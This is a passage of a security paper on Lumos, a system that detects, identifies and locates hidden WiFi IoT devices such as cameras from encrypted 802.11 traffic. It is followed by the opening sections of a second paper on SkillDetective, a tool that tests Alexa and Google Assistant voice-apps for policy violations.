A naive approach for estimating the location of IoT
devices is to pick the (x,y,RSSI) sample with the highest
RSSI value, which represents the closest the user got to
the device. However, this approach only works if the user
walks within a very close proximity of the device. Grid-based
optimization [35] is another technique that is widely used
for parameter estimation with sparse samples. In this case,
Lumos forms a grid in the user’s walking region (with cells
of 0.5m by 0.5m) and calculates the average observed RSSI
values for each grid. The center of the grid with the maximum
average RSSI is then selected as the device location. We can

see in Figure 7 that the grid-based localization outperforms
the maximum RSSI approach in lower rate devices such
as WiZ Smart Light Bulbs. However, it is still sensitive to
noisy measurements, especially for devices with irregular
transmission rates (WiZ2 vs. WiZ5 in Figure 7).

To further refine location, Lumos takes the sparse samples
and fits a surface of the form v = f(x,y) to the scattered data
in the vectors of (x,y,RSSI). For this, Lumos forms 1 by 1
centimeter grids of (xq,yq) as the query points and interpo-
lates 3D triangulation-based linear surfaces [40] at each point.
Then the regional maximum of the surface is extracted as
the estimated device location. A sample of the interpolated
surface is shown in Figure 7 for the WiZ2 Smart Light Bulb,
and we can see that this interpolation technique outperforms
the other two methods. As such, Lumos combines the
(x,y,RSSI) data points for each device to locate them relative
to the user’s location. While this technique cannot estimate
the absolute location of devices in the physical space, this
relative localization is sufficient to overlay a virtual object
relative to the position and orientation of the user’s phone.

7 Evaluation
We implemented Lumos in multiple unfamiliar environments
and diverse hidden devices. Our main results are:
• Lumos can accurately identify diverse devices with 95%

accuracy in under 30 minutes. This is comparable to
techniques using more fine-grained features from higher
network layers at the router, such as IP, DNS, etc.

• Lumos’ channel sensing outperforms baselines such as
random, round robin, and state-of-art spectrum sensing
techniques.

• Our localization system can locate devices within 1.5m
with a single random walk through the space.
• Lumos can identify previously unseen devices of the

same type from different vendors and is robust across
typical changes in device settings.

7.1 Implementation and Experimental Setup

Prototype: Lumos needs to sniff 802.11 packets over the
air, which is currently disabled on mobile phones without
special permission from the manufacturer. There are some
device-specific workarounds [12] for WiFi sniffing using
rooted Android devices, which shows there is no fundamental
hardware/software limitation in providing such capability
and this functionality could be unlocked given enough
justification. Alternatively, we develop two proof-of-concept
implementations of Lumos using commodity hardware:
• Using a MacBook Pro(2018) to sniff 802.11 wireless traf-

fic and an Intel RealSense Camera T265 for capturing the
VIO traces. This roughly approximates the performance
of ARKit/Core available on smartphones.

• Using a combination of an iOS device and a Rpi, Lumos
runs as an application on the phone and uses Bluetooth
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(a) Training Setup (b) Test Office (c) Test Apartment 1 (d) Test Apartment 2 (e) Test Lab Space

Figure 8: Our mini IoT testbed and floor plans of the different experimental setups

Category Devices
Camera Nest, Canary, Ring, Blink, EZVIZ, TP-

Link KC100, TP-Link KC120, D-Link,
Geeni, NightOwl, HIDVCAM, OVEHEL,
LookCam, MiniSpy, AlphaTech

Microphones Google Home, Amazon Echo, SONOS,
Amazon Show, Apple HomePod, Lenovo
Smart Clock

Doorbell Nest Doorbell, Kangaroo, Ring
Security Simplisafe, ADT, Ring
TV Vizio, Panasonic, TCL
Plug Amazon, Wemo, TP-Link, Jinvoo Smart

Plug, Gosund Smart Power Strip, TP-Link
Power Strip

Kitchen Anova Cooker, iKettle
Bulb WiZ1, WiZ2, WiZ3, WiZ4
Vacuum Roomba & Deebot

Table 2: Devices used as candidate hidden devices

to communicate with Rpi. The Rpi is used to sniff 802.11
wireless traffic (since wireless sniffing is currently dis-
abled on mobile phones), and the phone is used to capture
VIO trace using ARKit. Our mobile application is devel-
oped with Unity and can be compiled for iOS or Android.
since we only rely on Visual Inertial Odometry module
in smartphones for localization, Lumos can run even in
older smartphones with basic camera and IMU sensors.

For the experiments below, we use the first setup.

Devices: Table 2 shows the devices we use for evaluation.
We chose these to cover the major types of IoT devices
available through retailers such as Amazon or Target. We
include many cameras and microphones, as they collect the
most privacy-sensitive data about a user. In addition, each
category has multiple devices of the same type to avoid
over-fitting to a particular vendor. We also included multiple
devices from the same vendor to highlight the operational
differences of different types of devices.

Environments: For testing, we deployed a variable number
of devices in four different physical spaces (a total of six
setups) as shown in Figure 8. Our first deployment was in
an office space wherein a total of eleven IoT devices were
deployed in various locations and they all were connected to a
single access point. To test the performance of our system in
new settings with different background traffic, we deployed
a subset of devices in two separate houses with different floor
plans, shown in Figure 8. We also performed a more compre-
hensive evaluation in a lab space with various device setups,
each of which included a different density of devices at all
eight locations. These setups include Low with one device
from each category at each of the eight locations, Medium
with two devices from each category, and High with all de-
vices across the eight different locations shown in Figure 8e.

In all of these experiments, the IoT devices operated in a
normal steady-state mode; the occupants used the same WiFi
access point without any instructions, and the background
traffic from non-IoT devices existed. In addition, the traffic
from Apartment 1 and 2 included IoT devices that were
unseen in the training dataset. For example, in Apartment 1,
there were instances of smart TVs and smart light bulbs that
do not exist in the training set.

For localization, we asked users to walk once around
the perimeter of the experimental spaces with no other
instructions and each user picked the direction or walking
route freely. We repeated this process 5 times in each
experimental location for more thorough evaluations.

Baselines for Comparison: To the best of our knowledge,
there is no prior work that presents an end-to-end combination
of device fingerprinting, cross-channel data acquisition,
and localization. As such, we use baselines for individual
modules.
• Fingerprinting: We use the device classification technique

proposed by Sivanathan et.al. [53]. Note that this tech-
nique uses raw and fine-grained information from higher
layers (TCP, DNS), while Lumos only uses (encrypted)
802.11 packets. So, the goal is to show that even without
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Figure 9: Lumos’ localization module
can achieve a median accuracy of 1.5m
across three different test environments

(a) Lumos performance (b) Baseline performance [53]

Figure 10: Lumos can accurately identify the types of different IoT
devices with accuracy comparable to alternatives that assume full
network access

accessing these fine-grained features, Lumos is capable of
achieving similar performance.

• Channel Sensing: We compare Lumos to SpecInsight [50],
the closest related work developed for spectrum sensing.

• Localization: We compare our proposed surface-fitting
based localization technique against maximized RSSI and
grid-based techniques presented in Section 6.

7.2 End-to-End Performance

We run end-to-end evaluations of Lumos in four separate
settings. We ran our system for 30 minutes of scan time (27
minutes of wireless sniffing followed by 3 minutes of walk-
ing) and we report the final device identification accuracy and
localization error. In the first three buildings shown in Figures
8b-8d, we used the pre-deployed IoT devices and their origi-
nal setups as more natural evaluations. For the lab space setup
(Figure 8e), we ran more sensitivity experiments; e.g., deploy-
ing at least one, two, or three devices from each category in
each of the eight locations. The results are reported in Table 3.
There was only one access point in all four settings, and all
the devices were in the same channel. However, the channel
was unknown to the user. (We evaluated the sensitivity to
multiple active channels in subsequent evaluations.)

As we can see in Table 3, Lumos can identify the type of
devices with an accuracy of 95% to 98%. Figure 9 shows the
localization performance of Lumos across the four testing
environments. We can see that Lumos achieves a median
localization accuracy of 1.5m, which is sufficient to roughly
locate the IoT devices in the space. Determining a sufficient
level of accuracy for detecting a device is subjective; however,
1-2 meters provide users with a reasonable starting point.
Figure 1 shows a 1 meter transparent sphere floating above
a shelf with a localized IoT device using Apple’s ARKit for
tracking. The origin for the ARKit session was manually

Environment # Devices Device Identification Localization
Office 11 95.64% 1.6 m

Apartment 1 10 95% 1.4 m
Apartment 2 6 98.05% 1.5 m

Lab Space-Low 9 95% 1.6 m
Lab Space-Medium 18 95.02% 1.6 m

Lab Space-High 44 96% 1.5 m

Table 3: End-to-end results

aligned with the origin from our T265 tracking system to
simulate the expected final AR performance. One would
imagine as new localization technologies like UWB gain
traction, the expected accuracy would dramatically increase.

7.3 Device Fingerprinting Sensitivity Analysis

Device-Based Confusion Matrix: Figure 10a and Fig-
ure 10b compare Lumos’ fingerprinting performance with
the baseline method across different device types. Among all
the device types, we can see that Lumos achieves very high
accuracy in detecting cameras and lower accuracy in detecting
smart light bulbs. This is mainly due to the packet transmis-
sion rate. Cameras usually have a very high data transmission
rate as they are continuously streaming video frames. In addi-
tion, the format of transmitted data (image or video) is unique
enough to create a distinct signature. On the other hand, smart
plugs have very infrequent data transmission, providing little
information for fingerprinting. Compared to the baseline,
Lumos has comparable but slightly lower accuracy than prior
work, which has access to more fine-grained features from
higher network layers (e.g., flow duration, port numbers, and
DNS data). This validates our hypothesis that 802.11 packets
contain enough information for fingerprinting IoT devices.

It should be noted that some of the IoT devices in
Apartments 1 and 2 (such as smart TVs and smart light bulbs)
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Figure 11: Lumos receives at least
one packet from each IoT device at 80
seconds and can accurately detect the
device types by 92%

Figure 12: Multi-time resolution
aggregation improves Lumos’s
performance from 72.34% to 90.22%

Figure 13: Device-aware channel
sensing outperforms the baselines by
discovering 2x more devices in a fixed
scan time.

Classifier Accuracy
Extra Trees 83.88

Random Forest 83.79
AdaBoost 93.20
XGBoost 95.26

Table 4: Comparison of different classifiers

are previously unseen instances; i.e., the ML models are not
trained for that specific device. However, we can see that
Lumos can still accurately identify these devices based on
their common traffic behavior to their device type.
Impact of Classifiers: To evaluate the impact of classifiers
on the performance of the system, we calculated the raw
classification accuracy for different classifiers before applying
majority voting. Table 4 shows the classification accuracy for
the top four accurate classifiers, and we can see that XGBoost
performs best across different device types by achieving an
average accuracy of 95.26%. The automatic feature selection
in XGBoost and its robustness to high dimensional data are the
main factors that make this classifier suitable for our use case.
Impact of Multi-Time Resolution Aggregation: Next,
we evaluate the utility of multi-time resolution features
in fingerprinting. We train a new classifier using a fixed
aggregate time window of 20 seconds, compared with the
full system including multiple timescales between 1 second
and 20 seconds. As shown in Figure 12, using multi-time
resolution aggregation improves the average classification
accuracy from 72.3% to 90.2%.
Impact of Scan Time on Fingerprinting: Next, we analyze
how the classification module performs for different scan
times. To isolate the impact of the fingerprinting module
from channel hopping, here we assume that all devices are
in a single channel which is also known to the user.

To put our results in context, we consider a hypothetical
oracle that is able to identify a device as soon as it observes
a single packet. As shown in Figure 11, the oracle achieves
100% accuracy at 80 sec; i.e., it has received at least one

Figure 14: Lumos can discover all active IoT devices in 16
to 50 minutes depending on the number of active channels

packet from all IoT devices. This is a lower bound on the
time to classify, since we need to observe at least one packet.

In this respect, we see that with only 40 seconds worth of
capture, Lumos can achieve 92% accuracy. Across all devices,
the average number of packets received at 80 seconds is 20
packets, with a minimum and maximum of 0 and 40 packets,
respectively. The accuracy improves as we collect data over
more time, but Lumos can accurately classify most devices
within a shorter interval. It should be noted that this is under
the assumption of a known and single channel and does not
account for the channel sensing scan time to find the active
devices, which will be further evaluated in the next section.

7.4 Channel Sensing Sensitivity Analysis

Impact of Channel Sensing Scan Time on Device Discov-
ery: To decouple the impact of classification performance
from channel sensing and to provide a fair comparison with
prior work [50], we define a notion of Device Discovery Rate
for this evaluation. We mark a device as discovered if we
have seen more than N packets from that device. Our analysis
shows that an average of 50 packets is sufficient to identify
different IoT devices, so we set NumThresh=50 packets. For
a fixed number of channels (in this case, five channels), we
randomly assign each device (for a total of 15 devices) to a
channel and compare Lumos’ device-aware channel sensing
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algorithm with random, round robin, and SpecInsight [50].
Figure 13 shows that Lumos substantially outperforms the
baselines and discovers 92% of devices in 15 minutes and
100% of devices by 40 minutes.

Intuitively, the baselines ignore the diversity of device
types and their traffic patterns, while Lumos predicts the
next packet arrival time from each device. SpecInsight wastes
time capturing packets from a high transmission device, thus
missing the lower transmission devices. We note that the
minimum required scan time to discover all devices depends
on the number of access points or active channels, which we
evaluate next.

Impact of the Number of Active Channels: As discussed
above, the scan time needed is a function of the number of
active channels and active devices. To study this, we vary the
number of active channels (C) from 1 to 30 and the number
of active devices (M) from 1 to 15. In each iteration, we
randomly select M devices and C channels and randomly
assign the selected devices to selected channels. For each
scan time and C value, we perform ten independent channel
assignment iterations and vary the number of devices. Figure
14 shows that to achieve a fixed device discovery rate, the
scan time increases as we increase the number of channels.
(The error bars show the variations for the different number
of devices and across different iterations.) With only one
active channel, Lumos only requires 16 minutes to discover
all devices. (This time is mainly used in the initial learning
phase.) Even in a complicated scenario with devices spread
across 20 channels, Lumos can achieve 80% discovery rate
in around 15 minutes and 100% discovery rate by 50 minutes.
This is well beyond the worst-case scenario we envision,
as there are usually 1–5 access points in a regular indoor
environment. Even in these hypothetical cases, the user can
leave their smartphone or laptop running Lumos for a longer
time to discover all hidden devices.

7.5 Localization Sensitivity Analysis
The user’s walking pattern can significantly affect the local-
ization performance. On one hand, RSSI is more accurate
at close ranges, so the closer the user walks by the devices,
the more accurate the RSSI measurements we can obtain. On
the other hand, VIO systems suffer from accumulated error
as the user walks away from the starting point. To evaluate
the impact of the user’s walking speed on localization
performance, we collected two sets of data from each test
location: one when the user walks the perimeter of the room
with a normal to fast speed, and one when the user walks very
slowly. We observe slightly lower accuracy in faster speeds
(from a median accuracy of 1.4m with lower speed to 1.6m
at higher speed). The reason is that the received packets are
more sparse in space when the user walks faster. However,
the majority of IoT devices have a higher transmission rate
than the typical walking speed. So, Lumos can localize IoT
devices irrespective of the user’s walking speed.

Figure 15: Lumos maintains its localization performance
in different device setups

We also compared the three localization methods explained
in Section 6 and noticed negligible difference across the three
houses. The surface-fitting based localization is expected to
outperform the baselines for low transmission rate devices.
However, all three methods perform similarly if the device
has a frequent and regular transmission pattern. In our current
testbed, we have a mix of both low and high transmission
devices, so the average accuracy remains constant.

Impact of Device Setups: While the location of devices in
the room does not affect the fingerprinting, it could impact
localization accuracy depending on how close the user ends
up walking around them. To study the effect of device setups,
we select a subset of eight devices with semi-uniform packet
transmission rates to isolate the effect of the traffic pattern
and locate them in eight different locations in the lab space
(shown in Figure 8e). For each of these setups, the user
performs the same walking pattern around the perimeters
of the room. Figure 15 shows the localization accuracy
in each of these eight locations. The median localization
accuracy in all of these setups falls between 0.5m to 1.5m,
which shows the robustness of the localization. However, we
still see that the range of errors varies across setups, which
is mainly due to the relative distance between the actual
location of the devices and the walking pattern. For example,
in both setups 4 and 8, the devices are located at the corner
of the room, where the user’s walking route may fall further
from the devices. This adds more noise to the interpolation
and localization process. Nevertheless, the 1.5m average
accuracy of Lumos still provides fairly accurate zone-based
localization. For example, if we divide the entire lab space
into eight zones of 2 by 2 meters, each corresponding to
one cubicle, Lumos achieves 93% accuracy in correctly
estimating the zone of each device among all eight setups.

Impact of Walking Duration: Another factor affecting
the localization performance is the amount of exploration
the user is inclined to do. This particularly impacts devices
with low transmission rates, as longer exploration provides
more samples to correct the curve fitting process. To evaluate
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Figure 16: Longer walks can improve the localization
performance especially for low data rate devices, but
only one round of walking is sufficient for cameras and
microphones with frequent transmission patterns

this factor, we installed 16 devices (at least one from each
device type) in Locations 1, 5, and 7 of the lab space, shown
in Figure 8e. For each of these setups, we performed three
experiments with 1 round, 2 rounds, and 3 rounds of walking
around the perimeters of the space. Figure 16 shows that
the user can improve the localization performance by taking
longer exploration routes. This effect is more significant
for devices with lower transmission rates, such as security
devices, smart bulbs, or kitchen appliances. Note that cameras
and microphones stream data with high transmission rates, so
one round of walking is sufficient to estimate their locations.

7.6 Other Sensitivity Analysis

Effect of Feature Reduction Technique: It is a common
technique to reduce the feature set by selecting a subset
of features from the original dataset as it helps to prevent
over-fitting on the training dataset. Also, many of the ma-
chine learning models don’t perform well in the presence of
correlated or duplicated features. So, as explained in Section
4.1, we try two different reduction techniques: (1) selecting
the top ten features that have the highest mutual information
score, and (2) dropping the features with a high cross
correlation score (more than 95%) and keeping only one of
those features. Table 5 demonstrates that removing correlated
features is more effective in improving the classification
performance, while the top ten features do not cover all the
important features for differentiating device types.

Effect of Changing Device Settings: Many IoT devices
have various configurations or settings such as image, audio
or video quality, motion sensitivity, or microphone on/off.
Such setting modifications could affect the traffic pattern and
hence the signature of each device type. We evaluated the
impact of device settings by selecting a subset of IoT devices
(in this case, all 15 cameras in our testbed). We trained

Feature Reduction Accuracy
Use All 90.67
Top 10 88.08
Drop Correlated 95.03

Table 5: Removing corre-
lated features increases
the average accuracy to
95%

Traffic Type Accuracy
Incoming 89.73
Outgoing 83.18
Bidirectional 95.03

Table 6: Combining incom-
ing and outgoing traffic
improves the classification
performance

Lumos with the default setting of the cameras and tested
the fingerprinting performance under three different setting
modes: High (max resolution, max sensitivity, microphone
on), Low (min resolution, min sensitivity, microphone off),
and Medium (min resolution, max sensitivity, microphone
on). As we can see in Figure 17, the fingerprinting accuracy
slightly drops when we evaluate Lumos on cameras with
modified settings. However, Lumos can still generalize well
across different cameras from different vendors and settings.

Figure 17: Classification performance of cameras for
various device parameters

Effect of Traffic Direction: Another factor that could affect
the performance of classifier is the type of traffic. When sniff-
ing 802.11 packets, we can capture both incoming traffic from
IoT devices and outgoing traffic to the devices. We compare
the classification performance for each of these cases as well
as considering both directions. In the case of bidirectional
traffic, we compute separate features for incoming and
outgoing traffic and then concatenate those before passing
them on to the classifier. As we can see in Table 6, combining
both incoming and outgoing traffic results in higher accuracy.
Since each IoT device has a distinct incoming and outgoing
behavior, combining two directions of data allows Lumos to
capture more fine-grained information from each IoT device.

8 Discussion

Evading Lumos: Our goal with Lumos is primarily to
empower users to gain awareness about potential surveillance
by typical attackers in unfamiliar environments. That said,
we acknowledge some avenues for more powerful attackers
to evade Lumos. Since the ML step uses the MAC address to
classify devices, the attacker can evade Lumos by performing
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frequent MAC address randomization. The adversary can
also modify hidden device behavior to vary packet sizes
or inter-arrival time, via custom hardware or modifying the
firmware. Similarly, an attacker could evade localization
by randomly changing their transmit power. Note, however,
that these assume more expert attackers outside of our threat
model of a typical host/guest in an Airbnb-like setting.
Finally, since we can only detect/localize WiFi transmitting
devices, an attacker can evade detection by avoiding
wireless transmission; e.g., storing data locally, using wired
connections, or other wireless communication protocols.

Unprofiled Devices: Lumos can identify devices as long as
similar device types were seen in the training corpus. Recall
that in some of our setups, Lumos did uncover previously
unseen hidden devices. As a preliminary experiment to
evaluate how Lumos performs for unprofiled devices, we
did a leave-one-out experiment. We trained Lumos on all
but one of the cameras we use for testing. For 13 out of 15
unprofiled cameras (Blink, TP-Link KC100, Canary, etc.),
Lumos achieves median accuracy of 98%. (On inspecting the
misclassifications, we find that the Nest camera has a unique
behavior. It is the only camera in our dataset that uses the
802.11 subtype header field for different message exchanges.)
This is promising as it suggests Lumos can potentially
generalize across different device brands and models, as long
as it has seen at least one device with similar behavior in the
training phase. We plan to explore this further in future work.

Other Wireless Technologies: While our approach concep-
tually extends to other wireless protocols (including 5G),
the actual performance may vary due to different channel
allocation/resource management algorithms that could impact
relevant features.

End-to-End Prototype on a Phone: Lumos needs to sniff
802.11 packets over the air, which is currently disabled
on mobile phones without special permission from the
manufacturer. There is no fundamental hardware/software
limitation in providing such capability, and this functionality
could be unlocked given enough justification. There has been
also some workaround rooted Android phones for enabling
WiFi sniffing. In this paper, we provide two alternative proof
of concept prototypes that circumvent this limitation by either
pairing a smartphone with a Rpi for WiFi sniffing, or pairing
a laptop with an Intel RealSense Camera for VIO tracking.
Another alternative setup could use a combination of a laptop
for WiFi sniffing and a phone for VIO tracking, which are
both readily available to most users. However, a user has
to carry both the laptop and mobile phone for localization,
which may be less convenient than carrying a small Rpi.

9 Related Work
We discussed a number of closest related efforts inline. Here,
we focus on other related work.

Device Fingerprinting Methods: The topic of device finger-

printing has seen many solutions over the past decade in net-
work analytics [43,49], IoT space [36,45,48,53], or at the hard-
ware level, especially for surveillance cameras [26,42]. These
solutions can be grouped into various categories depending on
the kinds of features they are using for device fingerprinting:
• Device identification using encrypted wired packets: Many

solutions [28, 43, 49] have been proposed for device
identification using encrypted wired packets, and are
typically run at ISPs. As such, these techniques are not
applicable for our scenario, as a user in an Airbnb or
a hotel wouldn’t have access to these set of features.
However, some of the features related to packet timing
and size could also be extracted at the 802.11 layer.

• Device identification using decrypted wired packets:
Much of the existing effort for device classification in
the IoT space focuses on network traffic at the router
[36, 45, 48, 53]. These systems usually build ML models
using full-stack packet information across the link,
network, transport, and application layers or have full
access to the wireless router, which is not possible in our
scenario due to limited access provided to the user.

• Device identification using encrypted wireless packets
(802.11 layer): There are a few techniques proposed for de-
vice identification at the 802.11 layer, but they are tailored
towards detecting hidden cameras. Most of these methods
use a stimulating or probing approach to trigger the hidden
cameras; e.g., by altering the light level [42], shining light
toward the camera to detect the reflected light from the
lens [7, 8, 18], or walking to activate motion sensors [52].
While these techniques are shown to be effective for de-
tecting cameras, they don’t extend to other IoT devices
which can still pose a serious privacy risk, e.g., [66].

Unlike these solutions, Lumos uses a passive approach by
only relying on encrypted wireless 802.11 packets without
access to the router and also detects a broader spectrum of
hidden devices.

Using Hardware Properties for Detection: Some hidden
detectors are based on semiconductor-specific properties such
as a harmonic signature that can be sensed by transmitting
an RF signal. Non-Linear Junction Detector (NJLD) [15]
Low-end bug finders [4] are popular examples.However,
the transceiver should be in close proximity to the hidden
device. A recent work [41] also develops a portable 24GHz
millimeter-wave (mmWave) probe to detect active electronics
by observing their response in mmWave signal reflections.
Unfortunately, all of these systems take significant time
to scan an entire space. Moreover, they merely detect the
presence of devices and do not identify the device types.

Device Localization: In general, wireless localization
schemes map signal measurements into geometric parameters
(distance or angle) to localize a target device with respect to
reference points [31,38, 54], or fingerprint the received signal
strength at all possible locations [29, 65]. The key challenge
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with the first class of efforts is that commercial WiFi chipsets
do not provide fine-grained data to calculate the distance or
angle between the transmitter and receiver. While there is
some work on estimating Angle of Arrival (AoA) or Time
of Flight (ToF) [34], these techniques only apply for 802.11n
(with High-Throughput and OFDM), while many IoT devices
still use legacy WiFi protocols. With respect to the second
class of work, it requires significant effort to characterize the
environment and pre-label landmarks, which is not feasible
in our problem setting.

10 Conclusions
Given the recent spate of abuse of IoT devices to spy on
unsuspecting users, there is an imminent need for a low-cost
approach to help users to detect, identify, and localize IoT
devices when they enter an unfamiliar environment. What
makes this problem uniquely challenging is the combination
of the limited wireless access, the lack of sophisticated
hardware, the diversity of potential snooping devices, and the
inability to instrument the environment. In designing Lumos,
we tackle these challenges and present a practical proof-of-
concept realization that can be overlaid on a user-friendly AR
interface to inform users of the risks lurking in an unknown
environment with high accuracy and in near real-time. We
plan to open source Lumos to help users gain awareness
in unfamiliar settings and to inspire further innovation. As
future work, we plan to extend Lumos to run on more mobile
devices and support a broader spectrum of wireless protocols.
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Appendix A Impact of Device Density

Figure 18: Impact of device density on classification
performance

We deployed three subsets of devices in the lab test envi-
ronment and compared our classification performance. These
three subsets were Low (with 1 device from each category),
Medium (2 devices from each category), and High (all de-
vices). As we can see from Figure 18, device density doesn’t
have any significant impact on our classification performance.
This is mainly because the device inference happens for each
device independently. So, the only parameter that changes
is the volume of background traffic as the number of active
devices increases. However, this factor does not affect finger-
printing performance except in very rare cases when the net-
work is at the highest capacity, resulting in some packet loss.

Appendix B Pseudo-Code for Feature Extrac-
tion Algorithm

Algorithm 1 Feature Extraction and Aggregation

1: procedure FEAT_EXTRACT(packets,t,∆)
2: CFt ={} . Feature at time t
3: ∆← maximum sensing time
4: for feat in {packet size, packet time, flags ...} do
5: Ft =Pt . f eat
6: CFt ={}
7: for δ in {1,2,3,5,10,.. ∆/2}) do
8: Gt,δ={Ft−δ,Ft+δ}
9: for AggFun in {mean, std, hist, sum, ...} do

10: A=AggFun(Gt,δ)
11: CFt =[CFt ,A]
12: end for
13: end for
14: end for
15: end procedure

Appendix C Pseudo-Code for Device Aware
Channel Sensing Algorithm

Algorithm 2 Device Aware Channel Sensing
1:
2: if RAND < ε then . epsilon greedy
3: c∗t =RAND(c)
4: else
5: for d in devices do
6: if Sensed_Enough > N then
7: Rd =0 ∀t
8: else
9: G1,2,3=Device_Classification(packetsd)

10: µ1,2,3=Get_Interarrival(G1,2,3)

11: Rd(t)=max(1− T+µ1,2,3∗d(t−T )e/µ1,2,3−t
µ1,2,3

)
12: end if
13: end for
14: for c in channels do
15: if devices sensed on that channel then
16: Rc(t)=max(Rd)
17: else
18: Rc(t)=RAND [0,1]
19: end if
20: end for
21: end if
22: c∗t←argmax(R_c)
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Abstract
Today’s voice personal assistant (VPA) services have been

largely expanded by allowing third-party developers to build
voice-apps and publish them to marketplaces (e.g., the Ama-
zon Alexa and Google Assistant platforms). In an effort to
thwart unscrupulous developers, VPA platform providers have
specified a set of policy requirements to be adhered to by third-
party developers, e.g., personal data collection is not allowed
for kid-directed voice-apps. In this work, we aim to identify
policy-violating voice-apps in current VPA platforms through
a comprehensive dynamic analysis of voice-apps. To this
end, we design and develop SKILLDETECTIVE, an interactive
testing tool capable of exploring voice-apps’ behaviors and
identifying possible policy violations in an automated man-
ner. Distinctive from prior works, SKILLDETECTIVE evaluates
voice-apps’ conformity to 52 different policy requirements in
a broader context from multiple sources including textual, im-
age and audio files. With SKILLDETECTIVE, we tested 54,055
Amazon Alexa skills and 5,583 Google Assistant actions,
and collected 518,385 textual outputs, approximately 2,070
unique audio files and 31,100 unique images from voice-app
interactions. We identified 6,079 skills and 175 actions poten-
tially violating at least one policy requirement.

1 Introduction
Smart speakers have become an intrinsic part of daily life for
millions of people, largely due to the functionality made con-
venient through an on-board voice personal assistant (VPA).
Today’s VPA ecosystem (e.g., Amazon Alexa and Google As-
sistant platforms) advertises hundreds of thousands of voice-
apps1 with functions such as locking a door, arming an alarm,
or checking a credit card balance. For example, Amazon’s
Alexa platform currently boasts over 100,000 skills available

∗The first two authors contributed equally to this work.
1On the Amazon Alexa platform voice-apps are referred to as skills, while

on the Google Assistant platform they are referred to as actions. Throughout
this paper we refer to voice-apps as skills unless the need arises to differentiate
the two platforms.

in its skill store [5]. To accomplish this scale of product avail-
ability, both leading VPA platforms, i.e., Amazon Alexa and
Google Assistant, allow third-party developers to publish their
own skills directly to the VPA’s app store.

In an effort to thwart unscrupulous content, VPA platforms
have defined a set of policy requirements [1–3, 9] to be ad-
hered to by third-party developers. Skill publishing is over-
seen by a vetting process which rejects a skill if it violates any
of these policies. In a previous work [23], the skill vetting pro-
cesses of Amazon Alexa and Google Assistant platforms were
put to the test. The results show the ease of policy-violating
skills being certified by both platforms. Because of this lack-
adaisical approach to skill vetting, it is almost inevitable that
policy-violating content will be published. Therefore, there
exists a need for a large-scale skill testing/analysis to deter-
mine if skills are within the policy guidelines.

Despite mounting evidence of multiple security/privacy
flaws in VPA systems, little effort has been made to compre-
hensively evaluate the policy compliance of skills. In contrast
to traditional smartphone platforms (e.g., Android or iOS)
where apps run on host smartphones, a skill’s back-end code
runs on the developer’s server (e.g., hosted by AWS Lambda
under the developer’s account or other third-party servers).
Since the skill’s code is hosted externally and is not available,
using static code analysis to explore a skill’s functionality is
not an option for current VPA systems. As a result, dynamic
analysis (by invoking and interacting with a skill) is currently
the only option to understand a skill’s actual behavior.

In this work, we seek to understand the range and scope of
how existing skills conform to various policy requirements in
the skill stores. To this end, we design and develop SKILLDE-
TECTIVE, which is a scalable and robust testing tool to iden-
tify potential policy-violating skills. SKILLDETECTIVE signifi-
cantly extends skill testing capabilities in a broader context.

In summary, we make the following contributions:

• New tool development. We designed and developed
a dynamic testing tool, named SKILLDETECTIVE, with
the capabilities to automatically test skill behaviors and
report on any potential policy violations against various
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policy requirements. We shared the SKILLDETECTIVE

tool and all datasets to facilitate future research.

• A large-scale analysis of skills. We conducted a com-
prehensive analysis of skills to detect if they are po-
tentially in compliance with current policies of VPA
platforms. After over a year of development and test-
ing, we have tested 54,055 Amazon Alexa skills and
5,583 Google Assistant actions, and gathered 518,385
textual outputs, approximately 2,070 unique audio files
and 31,100 unique images in total from skill interac-
tions. Such a wide-range and large-scale policy violation
detection of skills has not previously been reported.

• Findings2 . We identified 6,079 skills and 175 actions
potentially violating at least one policy requirement. 590
skills and 24 actions potentially violate more than one
policy. In the Kids category, we identified 244 policy-
violating skills. 80% of skills and 68% of actions in the
Health category potentially violate at least one policy.
623 skills and 25 actions potentially violate policies re-
lated to personal data collection. We have reported the
identified policy-violating skills to both vendors, and re-
ceived their acknowledgments. Google had immediately
removed 43 policy-breaking actions from their store, and
awarded us a bug bounty for reporting these issues. The
Amazon Alexa team appreciated our work which brings
potential issues to their attention.

2 Background

2.1 Skill Structure and Interaction

VPA Device

Skill description, sample 
utterances, privacy policy, etc.

Skill Store

Skill

Text, audio, and 
image

TextAudio

Audio and 
image

Back-end

VPA Cloud Skill 
front-end

Permission 
setting

VPA Platform
Figure 1: VPA platform and skill interaction.

Figure 1 shows a high-level view of the VPA platform and
skill interaction flow. Skills, like smartphone apps, are mostly
created by third-party developers and are available through
a website known as the skill store. Each skill has a unique
web-page that displays the skill’s listing, consisting of the
developer information, description, sample utterances, privacy
policy, user ratings, user reviews, etc. Sample utterances are
sets of likely spoken phrases by users. A skill’s privacy policy
on the skill store differs from enforcement policies by VPA
platforms in that it should outline any data collected by the
skill and the subsequent use of that data. Skills may request

2The details of our testing results, datasets, source code, and demos are
available at https://github.com/skilldetective/skilldetective.

access to personal information from some users in order to
provide customized information in skill responses. In this
case, the user is supposed to use his/her VPA companion app
(Android/iOS) to grant permission so that the skill can obtain
the requested personal information.

A skill has a front-end interface and back-end code which
manages how it responds to user requests. VPA platforms
provide hosting for the front-end interface of a skill, but its
back-end code is typically hosted on the developer’s server
(e.g., hosted by AWS Lambda under the developer’s account
or other third-party servers). Skills are also unique in the way
they are accessed. All skills are made to be verbally interactive
and primarily return an audible response. The back-end code
may also provide other media types such as pre-recorded
audio streams and images (for VPA devices with displays).
Modern VPA devices (e.g., Amazon Echo Show in Figure 1)
may have visual displays. These displays are used by skills to
display such media as text, images and even movies.

For skill developers, VPA platforms offer a skill simulator
for testing purposes. The simulators for both the Amazon
Alexa and Google Assistant platforms are similar. They both
consist of a virtual VPA device that can interact with other
skills on the skill store. For ease of testing, the skill simulators
offer a text-based interface that will accept a textual input,
and provide a textual output as well as deliver any external
content (e.g., image files).

2.2 Policies Defined by VPA Platforms
In an effort to maintain content safety and privacy on their plat-
forms, VPA platform providers claim to enforce a set of poli-
cies onto skill developers. These policies, which are checked
during the skill certification process, are designed to limit
the amount of potentially exploitable content allowed onto
the skill store. We outline the policies and their requirements.
Amazon Alexa has specified 7 privacy requirements [2] and
content policy guidelines [1] which are categorized into 14
main sections. Google Assistant has 19 sections for content
restrictions [9]. These policies/restrictions focus on the con-
tent being delivered to the user in a skill and the collection of
data from users. For example, skills should not have promo-
tions, advertisements, or promote alcohol or tobacco usage.
All certified skills in the skill stores are expected to align with
these policy requirements and guidelines. If a skill contains,
